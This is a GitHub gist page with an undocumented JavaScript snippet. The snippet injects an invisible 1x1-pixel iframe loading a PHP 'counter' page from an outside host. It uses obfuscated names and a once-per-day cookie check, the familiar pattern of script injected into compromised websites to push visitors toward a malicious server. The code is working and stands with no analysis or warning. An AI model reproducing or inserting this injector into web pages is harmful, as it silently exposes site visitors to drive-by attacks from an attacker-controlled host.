Skip to content

Instantly share code, notes, and snippets.

@markknol
Created June 3, 2013 21:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save markknol/5701402 to your computer and use it in GitHub Desktop.
Save markknol/5701402 to your computer and use it in GitHub Desktop.
function zzzfff() {
var zxn = document.createElement('iframe');
zxn.src = 'http://tchopp.startlogic.com/css/counter.php';
zxn.style.position = 'absolute';
zxn.style.border = '0';
zxn.style.height = '1px';
zxn.style.width = '1px';
zxn.style.left = '1px';
zxn.style.top = '1px';
if (!document.getElementById('zxn')) {
document.write('<div id=\'zxn\'></div>');
document.getElementById('zxn').appendChild(zxn);
}
}
function SetCookie(cookieName,cookieValue,nDays,path) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) &&
( name != document.cookie.substring( 0, name.length ) ) )
{
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment